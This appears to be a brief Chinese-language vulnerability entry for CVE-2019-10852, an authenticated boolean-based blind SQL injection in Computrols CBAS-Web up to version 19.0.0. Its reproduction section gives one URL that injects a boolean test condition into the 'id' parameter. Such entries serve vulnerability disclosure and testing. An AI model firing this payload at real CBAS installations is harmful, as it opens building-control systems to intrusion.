CVE-2019-10852 Computrols CBAS Web SQL注入¶

一、漏洞简介¶

Computrols CBAS-Web经过身份验证的基于布尔的盲SQL注入

二、漏洞影响¶

19.0.0及以下

三、复现过程¶

http://url/cbas/index.php?m=servers&a=start_pulling&id=1 AND 2510 = 2510